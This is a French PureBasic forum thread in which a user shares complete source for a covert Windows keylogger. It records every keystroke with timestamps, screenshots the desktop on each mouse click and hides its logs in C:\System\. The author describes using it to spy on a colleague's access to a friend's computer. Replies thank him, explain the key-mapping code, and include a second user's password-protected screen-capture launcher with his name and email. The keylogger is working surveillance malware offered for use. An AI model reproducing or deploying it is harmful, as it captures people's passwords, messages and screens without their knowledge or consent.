Programme espion

Programmation d'applications complexes
Octavius
Messages : 312
Inscription : jeu. 26/juil./2007 12:10

Programme espion

Message par Octavius »

J'ai créé ce programme pour rendre un service à un ami, qui soupçonnait qu'un collègue venait fouiller dans son ordinateur pendant qu'il n'était pas là. Le but n'était pas d'empêcher ledit collègue de fouiller mais 1) de confirmer qu'il fouillait et 2) de savoir ce qui l'intéressait tant dans l'ordinateur de son collègue. Ce programme enregistre les touches qui sont pressées sur le clavier et fait des imprim écran quand on fait un clic de souris. Le programme tourne en arrière-plan et les données récupérées sont stockées dans le dossier "C:\System\". Pour interrompre l'exécutable il faut forcer l'arrêt du processus dans le gestionnaire des tâches. Pour la petite histoire, il y a avait effectivement un petit curieux qui allait fouiller dans les mails et le dossier "Perso". Sentez vous libre de faire des suggestions pour optimiser ce code ou pour me faire découvrir d'autres stratégies possibles !

Code : Tout sélectionner

UsePNGImageEncoder()

Procedure DesktopScreenshot(Image,X,Y,Width,Height)
  hImage=CreateImage(Image,Width,Height)
  hDC=StartDrawing(ImageOutput(Image))
  DeskDC=GetDC_(GetDesktopWindow_())
  BitBlt_(hDC,0,0,Width,Height,DeskDC,X,Y,#SRCCOPY)
  StopDrawing()
  ReleaseDC_(GetDesktopWindow_(),DeskDC)
  ProcedureReturn hImage
EndProcedure

Dim Key.s($FE)
For i=0 To $FE
  Key(i)="??"
Next i
For i=#VK_0 To #VK_9
  Key(i)=Str(i-#VK_0)
Next i
For i=#VK_A To #VK_Z
  Key(i)=Chr(i-#VK_A+$41)
Next i
For i=#VK_F1 To #VK_F24
  Key(i)="F"+Str(i-#VK_F1+1)
Next i
Key(#VK_ESCAPE)="Echap"
Key(#VK_SPACE)="Espace"
Key(#VK_TAB)="Tabulation"
Key(#VK_LBUTTON)="Clic gauche"
Key(#VK_RBUTTON)="Clic droit"
Key(#VK_SHIFT)="Maj"
Key(#VK_LSHIFT)="Maj"
Key(#VK_RSHIFT)="Maj"
Key(#VK_CAPITAL)="Verr Maj"
Key(#VK_LEFT)="Flèche gauche"
Key(#VK_UP)="Flèche haut"
Key(#VK_RIGHT)="Flèche droite"
Key(#VK_DOWN)="Flèche base"
Key(#VK_DELETE)="Suppr"
Key(#VK_BACK)="Retour arrière"
Key(#VK_RETURN)="Entrée"
Key(#VK_CONTROL)="Ctrl"
Key(#VK_MENU)="Alt"
Key(#VK_LCONTROL)="Ctrl"
Key(#VK_LMENU)="Alt"
Key(#VK_RCONTROL)="Ctrl"
Key(#VK_RMENU)="Alt"

DeleteDirectory("C:\System","*.*")
CreateDirectory("C:\System")
CreateFile(0,"C:\System\historic.txt")
j=0

Repeat
  Delay(50)
  For i=0 To $FE
    Key=GetAsyncKeyState_(i)
    If Key=-32767
      WriteString(0,"Touche pressée : "+Key(i)+" à "+FormatDate("%hh:%ii:%ss",Date())+" le "+FormatDate("%dd/%mm/%yyyy",Date()))
      If i=#VK_LBUTTON Or i=#VK_RBUTTON
        ExamineDesktops()
        DesktopScreenshot(0,0,0,DesktopWidth(0),DesktopHeight(0))
        WriteString(0," Imprim. écran n° "+RSet(Str(j),3,"0"))
        SaveImage(0,"C:\System\Imp_"+RSet(Str(j),3,"0")+".png")
        j+1
      Else
        Debug i
      EndIf
      WriteStringN(0,"")
    EndIf
  Next i
  FlushFileBuffers(0)
ForEver
Avatar de l’utilisateur
venom
Messages : 3072
Inscription : jeu. 29/juil./2004 16:33
Localisation : Klyntar
Contact :

Re: Programme espion

Message par venom »

Merci pour ce petit code Octavius,
sa peut s'avérer utile, je garde sa sous la main.





@++
Windows 10 x64, PureBasic 5.73 x86 & x64
GPU : radeon HD6370M, CPU : p6200 2.13Ghz
gansta93
Messages : 1448
Inscription : jeu. 26/févr./2004 11:17
Localisation : Le Village
Contact :

Re: Programme espion

Message par gansta93 »

Salut,

Sympa ce code, je garde dans un coin... ;)

Merci.
Avatar de l’utilisateur
flaith
Messages : 1487
Inscription : jeu. 07/avr./2005 1:06
Localisation : Rennes
Contact :

Re: Programme espion

Message par flaith »

Pas mal octavius, effectivement, ca peut être très utile
Merci pour le partage :mrgreen:
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Re: Programme espion

Message par kwandjeen »

http://www.purebasic.fr/french/viewtopic.php?f=4&t=8699

Tiens pas bête j'avais fait plus long pour le scan des touches :wink:
Avatar de l’utilisateur
Le psychopathe
Messages : 764
Inscription : jeu. 03/mars/2005 19:23

Re: Programme espion

Message par Le psychopathe »

Bonsoir
Une explication serait elle envisageable sur cette partie du code :

Code : Tout sélectionner

Dim Key.s($FE) ; $FE  ???
For i=0 To $FE
  Key(i)="??"
Next i
For i=#VK_0 To #VK_9
  Key(i)=Str(i-#VK_0) ; Pourquoi (i-#VK_0)
Next i
For i=#VK_A To #VK_Z
  Key(i)=Chr(i-#VK_A+$41) ; $41 ? et pourquoi encore un calcul
Next i
For i=#VK_F1 To #VK_F24
  Key(i)="F"+Str(i-#VK_F1+1) ; pareil ^^
Next i
Merci ^^
Octavius
Messages : 312
Inscription : jeu. 26/juil./2007 12:10

Re: Programme espion

Message par Octavius »

Le psychopathe a écrit :Bonsoir
Une explication serait elle envisageable sur cette partie du code
Cette page devrait t'aider à comprendre : http://msdn.microsoft.com/en-us/library ... 85%29.aspx
Key() est mon tableau de 256 cases qui fait correspondre à chaque valeur #VK_machin (qui vont justement de 0 à 255) une chaîne de caractère.

Code : Tout sélectionner

Dim Key.s($FE) ; $FE=255, car il y a un maximum de 256 touches clavier
For i=0 To $FE
  Key(i)="??" ; Par défaut je rempli tout le tableau avec "??" parce que je ne m'embête pas ici à remplir toutes les valeurs du tableau
Next i

For i=#VK_0 To #VK_9
  Key(i)=Str(i-#VK_0) ; #VK_0 est différent de 0 donc quand i va de #VK_0 à #VK_9, j'ai i-#VK_0 qui va de 0 à 9 !!
Next i

For i=#VK_A To #VK_Z
  Key(i)=Chr(i-#VK_A+$41) ; $41 est la valeur ASCII de "A"
Next i

For i=#VK_F1 To #VK_F24
  Key(i)="F"+Str(i-#VK_F1+1) ; idem même principe ^^
Next i
@ kwandjeen, pas mal ton code :wink:
Avatar de l’utilisateur
djes
Messages : 4252
Inscription : ven. 11/févr./2005 17:34
Localisation : Arras, France

Re: Programme espion

Message par djes »

Octavius a écrit :Bonsoir
Une explication serait elle envisageable sur cette partie du code
Cette page devrait t'aider à comprendre : http://msdn.microsoft.com/en-us/library ... 85%29.aspx
Key() est mon tableau de 256 cases qui fait correspondre à chaque valeur #VK_machin (qui vont justement de 0 à 255) une chaîne de caractère.

Code : Tout sélectionner

Dim Key.s($FE) ; $FE=255, car il y a un maximum de 256 touches clavier
For i=0 To $FE
  Key(i)="??" ; Par défaut je rempli tout le tableau avec "??" parce que je ne m'embête pas ici à remplir toutes les valeurs du tableau
Next i

For i=#VK_0 To #VK_9
  Key(i)=Str(i-#VK_0) ; #VK_0 est différent de 0 donc quand i va de #VK_0 à #VK_9, j'ai i-#VK_0 qui va de 0 à 9 !!
Next i

For i=#VK_A To #VK_Z
  Key(i)=Chr(i-#VK_A+$41) ; $41 est la valeur ASCII de "A"
Next i

For i=#VK_F1 To #VK_F24
  Key(i)="F"+Str(i-#VK_F1+1) ; idem même principe ^^
Next i
Uh? Image
0/20 :lol:
Octavius
Messages : 312
Inscription : jeu. 26/juil./2007 12:10

Re: Programme espion

Message par Octavius »

Zut alors, je ne suis vraiment pas clair on dirait.

Bon, pour windows ton clavier possède virtuellement 256 touches. Elles sont identifiées par les constantes #VK_truc dont les valeurs vont de 0 à 255 ( = $FE en valeur hexadécimale).

Je veux associer chaque valeur de touche à une chaîne de caractère parce que simplement enregistrer les valeurs brutes c'est difficile à relire pour un humain. Donc je fais ça avec un tableau que j'ai appelé Dim Key.s($FE)

Exemple : Key(#VK_truc)="touche truc"

Pour les touches qui se suivent j'utilise une boucle.

Code : Tout sélectionner

For i=#VK_A to #VK_Z
Key(i)=Chr(i-#VK_A+$41)
Next i
Lorsque i=#VK_A, Key(#VK_A)=Chr($41) ; $41 est la valeur ASCII de A
Lorsque i=#VK_B, Key(#VK_A)=Chr($42) ; $42 est la valeur ASCII de B
etc.
C'est un simple changement de variable comme on dirait en maths, pour que la table ASCII et la table #VK correspondent localement.
Avatar de l’utilisateur
djes
Messages : 4252
Inscription : ven. 11/févr./2005 17:34
Localisation : Arras, France

Re: Programme espion

Message par djes »

Octavius a écrit :les valeurs vont de 0 à 255 ( = $FE en valeur hexadécimale).
Tu es sûr de ça? :lol:
Ca sent le zéro pointé!!!!
Octavius
Messages : 312
Inscription : jeu. 26/juil./2007 12:10

Re: Programme espion

Message par Octavius »

Tiens t'as raison 255 c'est $FF en fait, faut que je corrige.
Avatar de l’utilisateur
djes
Messages : 4252
Inscription : ven. 11/févr./2005 17:34
Localisation : Arras, France

Re: Programme espion

Message par djes »

Tu t'es fait avoir par la doc de Kro ;)
Octavius
Messages : 312
Inscription : jeu. 26/juil./2007 12:10

Re: Programme espion

Message par Octavius »

Oui je crois bien ! :P

En l'occurrence, la touche n°255 ne semble pas attribuée, donc ça ne peut pas faire planter le code de toute façon.

Ah lala ce djes y laisse rien passer ! :wink:
Avatar de l’utilisateur
djes
Messages : 4252
Inscription : ven. 11/févr./2005 17:34
Localisation : Arras, France

Re: Programme espion

Message par djes »

En même temps, j'ai rien à dire puisque je ne code rien en ce moment... :oops:
david
Messages : 208
Inscription : jeu. 03/févr./2005 21:10

Re: Programme espion

Message par david »

J'avais besoin de pouvoir faire des copies d'écran (sans forcément être 'invisible'...)
J'ai utilisé le programme que j'ai modifié, avec aussi d'autres morceaux de codes que j'ai trouvé ça et là dans les forums dont je ne pourrais plus vous citer les auteurs et qui sont pourtant bien utiles

PS: j'appartient à la section 'Débutant des Débutants', le code n'est donc pas très "propre" (utilisation de goto... et autre artifices de bidouillages). Par contre il fonctionne parfaitement.
Je joint ci-dessous le source principal du MENU car je ne sais pas comment vous envoyer mon fichier ZIP avec les sources+exécutables+icone+fichier_paramètre....

Le programme est lancé (du menu ou non) et est arrêté avec KillProcess

MODE MENU:
Création d'un menu pour démarrer stopper facilement la capture
Utilisation d'un fichier de paramètres (choix du chemin destination, code pour arrêter le programme...)

MODE DIRECT:
Lancement et arrêt du programme sans devoir rebooter l'ordinateur et sans demande de code

code du MENU:

Code : Tout sélectionner

#versio="Espi - V1.0"
#author="@dt"
#ico="\coding\dt.ico"
#paramo="param.ini"
#aide ="AIDE.txt"
#sous_prog="ESPI_aff.trq"
#sous_progKill="ESPI_off.trq"
cheminapp$=GetCurrentDirectory()
FicIcon$=cheminapp$+#ico
parametro$=cheminapp$+#paramo
sousprog$=cheminapp$+"\coding\"+#sous_prog
sousprogKill$=cheminapp$+"\coding\"+#sous_progKill
menu11$="Démarrer les Captures":menu111$=" /off"
menu22$="Stopper les Captures" :menu222$=" /on"
menu00$="":menu000$=""

Declare DesktopScreenshot(Image,X,Y,Width,Height)
Declare .l Valeur_Duree()
Declare Animation(Fenetre, Effet, Duree)
Declare .b ActivatePrevInstance(title.s)


;===================chargement param===========================================
If ReadFile(0, parametro$)
  While Eof(0) = 0
    author$ = ReadString(0):vide$=ReadString(0)
    ann_chemin$=ReadString(0):chemin$=ReadString(0)
    ann_choix_chem$=ReadString(0):choix_chem$=ReadString(0)
    ann_mdp$=ReadString(0):mdp$=ReadString(0)
    ann_multi$=ReadString(0):multi$=ReadString(0)
     Wend
  CloseFile(0)   
;
Goto pass0:EndIf
MessageRequester(#versio,parametro$+Chr(10)+Chr(10)+"Problème de récupération des paramètres"):End
;============================================================================
pass0:
If multi$="n"
If ActivatePrevInstance(#versio) = #False ;va voir si programme deja ouvert
;MessageRequester("ok", "ok")
EndIf
EndIf

MessageRequester(#versio,"Les Ecrans vont maintenant être Capturés")
Gosub lancer_applic

debut_menu:
If menu00$=menu11$
  menu000$=menu111$
Else
  menu000$=menu222$
EndIf

If OpenWindow(0, 0, 0, 0, 0, #versio,#PB_Window_Invisible) 
  CreatePopupMenu(1)
   MenuItem(1,menu00$)
    MenuBar()
    MenuItem(3,"Aide")
    MenuItem(4,"A propos")
    MenuItem(5,"Quitter")
AddSysTrayIcon(0, WindowID(0), LoadImage(0, FicIcon$))
SysTrayIconToolTip(0, "MENU "+#versio+menu000$);texte si pose curseur sur image
EndIf 

Repeat 
  Select WaitWindowEvent()
    Case #PB_Event_SysTray
      DisplayPopupMenu(1, WindowID(0))
    Case #PB_Event_Menu
      Select EventMenu()
;=============================================================
        Case 1 ; 
          If menu00$=menu11$:Goto lancer_applic:EndIf
          If menu00$=menu22$:Gosub stopper_applic:EndIf
 ;=============================================================          
        Case 3 ; Aide
        RunProgram("notepad.exe", #aide,"" ) 
;=============================================================
      Case 4 ; A propos
       
If OpenWindow(0, 0, 0, 280, 180, "A propos de...", #PB_Window_SystemMenu | #PB_Window_ScreenCentered)
SetWindowPos_(WindowID(0), -1, 0, 0, 0, 0, #SWP_NOSIZE | #SWP_NOMOVE) ;fenetre premier plan********
 Animation(0, #AW_CENTER, 500)

 If LoadImage(0, #ico) 
    ImageGadget(7, 10,12,50,50,ImageID(0)) :EndIf
 
     TextGadget   (11, 50, 10, 200, 20, #versio,#PB_Text_Center)
     TextGadget   (12, 50, 30, 200, 40, "Récupération automatisée des Ecrans",#PB_Text_Center)
     TextGadget   (13, 40, 80, 200, 20, "Réalisé par David Turquin @2012",#PB_Text_Center)
     TextGadget   (14, 40, 100, 200, 40, "Pour tous renseignements, contacter : david.turquin@wanadoo.fr",#PB_Text_Center)
     ButtonGadget(0,20, 140, 240, 30, "OK")
 Repeat
     EventID = WaitWindowEvent()
       If EventID = #PB_Event_Gadget
      Select EventGadget()
       Case 0:Goto debut_menu
        EndSelect
           EndIf
  Until EventID = 0 ;#PB_Event_CloseWindow
EndIf
;====================================================================                             
     Case 5 ; Quitter
  Resultat = MessageRequester(#versio, "Voulez-vous vraiment fermer le programme ?", #PB_MessageRequester_YesNo )
  If Resultat=6
    If menu00$=menu22$
         Texte$ = InputRequester(#versio, "Veuillez saisir le mot de passe", "")
         If Texte$<>mdp$:MessageRequester(#versio,"Mot de passe incorrect"):Goto debut_menu:EndIf
    lancement= RunProgram(sousprogKill$,"","")
    If lancement=0:MessageRequester(#versio,"Le programme n'a pas pu être arrêté correctement"):End:EndIf
    EndIf
Gosub mettre_off:quit=1:End:EndIf
;====================================================================        

EndSelect
   EndSelect
  Until quit=1
End






lancer_applic:
menu00$=menu22$
If premiere_fois$<>"o"
Resultat = ReadFile(0, cheminapp$+"\coding\aff.ini"):If Resultat<>0:MessageRequester(#versio,"Les Captures sont déjà en cours d'exécution"):Goto debut_menu:EndIf
EndIf
Gosub mettre_aff
lancement= RunProgram(sousprog$,"","")
If lancement=0:MessageRequester(#versio,"Le programme n'a pas pu être démarré correctement"):End:EndIf
Goto debut_menu

stopper_applic:
Texte$ = InputRequester(#versio, "Veuillez saisir le mot de passe", "")
If Texte$<>mdp$:MessageRequester(#versio,"Mot de passe incorrect"):Goto debut_menu:EndIf
lancement= RunProgram(sousprogKill$,"","")
If lancement=0:MessageRequester(#versio,"Le programme n'a pas pu être arrêté correctement"):End:EndIf
Gosub mettre_off
MessageRequester(#versio,"Les Captures ont été correctement arrêtées")
menu00$=menu11$
Goto debut_menu

 ;****************************************************************************
;*********************AFF***************************************
;****************************************************************************
mettre_aff:
Resultat = RenameFile(cheminapp$+"\coding\off.ini", cheminapp$+"\coding\aff.ini") ;dit affichage/ouvert
If resultat = 0
;  MessageRequester("erreur","veuillez réinstaller le programme ou contactez DT", #MB_ICONERROR) ;(pb lui dire)
EndIf 
Return

;****************************************************************************
;*********************OFF***************************************
;****************************************************************************
mettre_off:
Resultat = RenameFile(cheminapp$+"\coding\aff.ini", cheminapp$+"\coding\off.ini") ;dit masque/ferme
If resultat = 0
;  MessageRequester("erreur","veuillez réinstaller le programme ou contactez DT", #MB_ICONERROR) ;(pb lui dire)
EndIf 
Delay(1000)
Return
 

; ****************************************************************************
; ****** ANIMATION AFFICHAGE DES FENETRES      ****************************
; ****************************************************************************
#AW_HOR_POSITIVE = $1 ; Animates the window from left to right. This flag can be used with roll or slide animation.
#AW_HOR_NEGATIVE = $2 ; Animates the window from right to left. This flag can be used with roll or slide animation.
#AW_VER_POSITIVE = $4 ; Animates the window from top to bottom. This flag can be used with roll or slide animation.
#AW_VER_NEGATIVE = $8 ; Animates the window from bottom to top. This flag can be used with roll or slide animation.
#AW_CENTER = $10 ; Makes the window appear to collapse inward if AW_HIDE is used or expand outward if the AW_HIDE is not used.
#AW_HIDE = $10000 ; Hides the window. By default, the window is shown.
#AW_ACTIVATE = $20000 ; Activates the window.
#AW_SLIDE = $40000 ; Uses slide animation. By default, roll animation is used.
#AW_BLEND = $80000 ; Uses a fade effect. This flag can be used only if hwnd is a top-level window.
Procedure.l Valeur_Duree()
  ProcedureReturn Val(GetGadgetText(1))
EndProcedure
Procedure Animation(Fenetre, Effet, Duree)
   AnimateWindow_(WindowID(Fenetre), Duree, Effet | #AW_HIDE)
   Delay(100)
    AnimateWindow_(WindowID(Fenetre), Duree, Effet)
    RedrawWindow_(WindowID(Fenetre), 0, 0, 1)
  EndProcedure
  
  ; ****************************************************************************
; ****** VOIR SI LE PRGRAMME EST DEJA OUVERT      ****************************
; ****************************************************************************
Procedure.b ActivatePrevInstance(title.s)
  Protected hwnd
  hwnd = FindWindow_(#Null, title) ;recherche le nom de la fenetre
  If hwnd
   MessageRequester(#versio+" - "+#author, "Le programme est déjà en cours d'exécution..."+Chr(10)+Chr(10)+"Le MENU est accessible en bas à droite (dans la barre des tâches)", #PB_MessageRequester_Ok)
   End
  EndIf
  ProcedureReturn #False
EndProcedure   
Répondre